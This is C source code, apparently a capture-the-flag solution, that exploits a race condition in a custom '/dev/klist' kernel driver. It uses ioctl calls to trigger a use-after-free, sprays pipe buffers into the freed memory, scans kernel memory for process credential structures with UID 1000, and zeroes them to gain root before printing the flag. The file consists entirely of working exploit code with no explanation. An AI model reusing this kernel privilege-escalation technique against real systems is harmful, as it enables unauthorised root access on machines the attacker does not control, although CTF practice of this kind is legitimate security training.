1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147
| #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define PIPE_BUFFER_SIZE 0x280 int fd;
void initFD() { fd = open("/dev/klist",O_RDWR); if (fd < 0) { printf("[-]open file error!!\n"); exit(-1); } }
struct Data { size_t size; char *buf; }; void addItem(char *buf,size_t size) { struct Data data; data.size = size; data.buf = buf; ioctl(fd,0x1337,&data); } void removeItem(int64_t index) { ioctl(fd,0x1339,index); } void selectItem(int64_t index) { ioctl(fd,0x1338,index); } void listHead(char *buf) { ioctl(fd,0x133A,buf); } void listRead(void *buf,size_t size) { read(fd,buf,size); } void listWrite(void *buf,size_t size) { write(fd,buf,size); }
void checkWin(int i) { while (1) { sleep(1); if (getuid() == 0) { printf("Rooted in subprocess [%d]\n",i); system("cat flag"); exit(0); } } }
#define BUF_SIZE PIPE_BUFFER_SIZE #define UID 1000
char buf[BUF_SIZE]; char buf2[BUF_SIZE]; char bufA[BUF_SIZE]; char bufB[BUF_SIZE]; void fillBuf() { memset(bufA,'a',BUF_SIZE); memset(bufB,'b',BUF_SIZE); }
int main() { initFD(); fillBuf(); addItem(bufA,BUF_SIZE-24); selectItem(0); int pid = fork(); if (pid < 0) { printf("[-]fork error!!\n"); exit(-1); } else if (pid == 0) { for (int i=0;i<200;i++) { if (fork() == 0) { checkWin(i+1); } } while (1) {
addItem(bufA,BUF_SIZE-24); selectItem(0); removeItem(0); addItem(bufB,BUF_SIZE-24); listRead(buf2,BUF_SIZE-24); if (buf2[0] != 'a') { printf("race compete in child process!!\n"); break; } removeItem(0); } sleep(1); removeItem(0); int pfd[2]; pipe(pfd); write(pfd[1],bufB,BUF_SIZE); size_t memLen = 0x1000000; uint32_t *data = (uint32_t *)calloc(1,memLen); listRead(data,memLen); int count = 0; size_t maxLen = 0; for (int i=0;i<memLen/4;i++) { if (data[i] == UID && data[i+1] == UID && data[i+7] == UID) { memset(data+i,0,28); maxLen = i; printf("[+]found cred!!\n"); if (count ++ > 2) { break; } } } listWrite(data,maxLen * 4); checkWin(0); } else { while (1) { listHead(buf); listRead(buf,BUF_SIZE-24); if(buf[0] != 'a') break; } } return 0; }
|